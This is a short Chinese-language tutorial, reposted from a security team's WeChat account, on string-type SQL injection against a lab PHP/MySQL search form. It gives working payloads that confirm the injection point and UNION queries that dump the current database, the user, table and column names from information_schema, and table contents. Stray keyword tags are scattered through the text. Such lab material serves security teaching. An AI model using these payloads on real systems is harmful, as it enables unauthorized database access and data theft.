01mysql
字符型注入_肯定注入點nginx
正常搜索框搜索數據,輸入名字就能夠查詢對應數據sql
查看PHP核心代碼數據庫
解釋:
安全
1.紅色箭頭表示服務器經過GET請求把用戶的kobe參數傳到$name
服務器
2.黃色方框表示傳入數據庫的查詢語句
微信
加入惡意字符後,傳入數據庫的查詢語句以下:編輯器
select id,email from member where username='kobe''
注入點測試,將payload1代入查詢測試
kobe' and 1=1 #
select id,email from member where username='kobe' and 1=1 #'
kobe' and 1=2 #
02spa
字符型注入_獲取基本信息
在這裏基本肯定注入點,查看當前數據庫和用戶
kobe' union select database(),user()#
傳入數據庫的查詢命令以下
select id,email from member where username='kobe' union select database(),user()#'
👇經常使用查詢語句👇
肯定當前字段
kobe' order by 3#
查詢指定庫全部數據表
kobe' union select table_name,2,3 from information_schema.tables where (table_schema='數據庫名')#
查詢指定表的全部表頭
kebo' union select column_name,2,3 from information_schema.columns where (table_name="表名")#
查看指定表頭內容
kebo' union select 表頭1,2,表頭2 from 表名#
註釋:注入方法與數字型注入基本相同,只要在閉合與註釋符二者區間內執行mysql命令便可利用該漏洞,從這部分開始,後續不作詳細介紹與演示。
本文分享自微信公衆號 - Khan安全團隊(KhanCJSH)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。